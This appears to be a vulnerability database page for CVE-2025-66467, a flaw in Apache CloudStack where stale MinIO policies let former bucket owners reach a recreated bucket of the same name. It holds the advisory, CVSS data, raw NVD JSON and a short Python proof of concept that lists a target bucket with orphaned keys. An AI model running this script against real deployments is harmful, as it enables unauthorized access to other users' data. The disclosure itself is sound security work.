Security Vulnerability Report
中文
CVE-2025-66467 CVSS 8.0 HIGH

CVE-2025-66467

Published: 2026-05-08 13:16:36
Last Modified: 2026-05-11 12:57:21

Description

Missing MinIO policy cleanup on bucket deletion via Apache CloudStack allows users to retain access to buckets which they previously owned. If another user creates a new bucket with the same name, the previous owners can gain unauthorized read and write access to it by using the previously generated access and secret keys. Users are recommended to upgrade to Apache CloudStack versions 4.20.3.0 or 4.22.0.1, or later, which fixes this issue.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:cloudstack:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:cloudstack:*:*:*:*:*:*:*:* - VULNERABLE
Apache CloudStack < 4.20.3.0
Apache CloudStack < 4.22.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import boto3 from botocore.exceptions import ClientError # Conceptual PoC for CVE-2025-66467 # This script simulates the attack scenario where old keys work on a new bucket with the same name. def check_access(endpoint, access_key, secret_key, bucket_name): """ Attempt to list objects in the bucket using the provided credentials. """ s3 = boto3.client( 's3', endpoint_url=endpoint, aws_access_key_id=access_key, aws_secret_access_key=secret_key ) try: # Attempt to access the bucket response = s3.list_objects_v2(Bucket=bucket_name) print(f"[+] SUCCESS: Access granted to bucket '{bucket_name}' using old keys.") print(f"[+] Content count: {len(response.get('Contents', []))}") return True except ClientError as e: print(f"[-] FAILED: Access denied or error occurred: {e}") return False # Configuration MINIO_ENDPOINT = "http://target-minio-server:9000" OLD_ACCESS_KEY = "ATTACKER_OLD_ACCESS_KEY" OLD_SECRET_KEY = "ATTACKER_OLD_SECRET_KEY" # The bucket name that was deleted and recreated by another user TARGET_BUCKET = "shared-data-bucket" if __name__ == "__main__": print(f"[*] Attempting to access '{TARGET_BUCKET}' with orphaned keys...") check_access(MINIO_ENDPOINT, OLD_ACCESS_KEY, OLD_SECRET_KEY, TARGET_BUCKET)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66467", "sourceIdentifier": "[email protected]", "published": "2026-05-08T13:16:35.720", "lastModified": "2026-05-11T12:57:20.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing MinIO policy cleanup on bucket deletion via Apache CloudStack allows users to retain access to buckets which they previously owned. If another user creates a new bucket with the same name, the previous owners can gain unauthorized read and write access to it by using the previously generated access and secret keys.\n\nUsers are recommended to upgrade to Apache CloudStack versions 4.20.3.0 or 4.22.0.1, or later, which fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-459"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:cloudstack:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19.0.0", "versionEndExcluding": "4.20.3.0", "matchCriteriaId": "C4510E55-3BB6-449E-B53C-62AF46245DF5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:cloudstack:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.21.0.0", "versionEndExcluding": "4.22.0.1", "matchCriteriaId": "78690ED1-C4B3-4DC9-9B53-FB31D6D17125"}]}]}], "references": [{"url": "https://lists.apache.org/thread/n8mt5b7wkpysstb8w7rr9f02kc5cq2xm", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/09/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}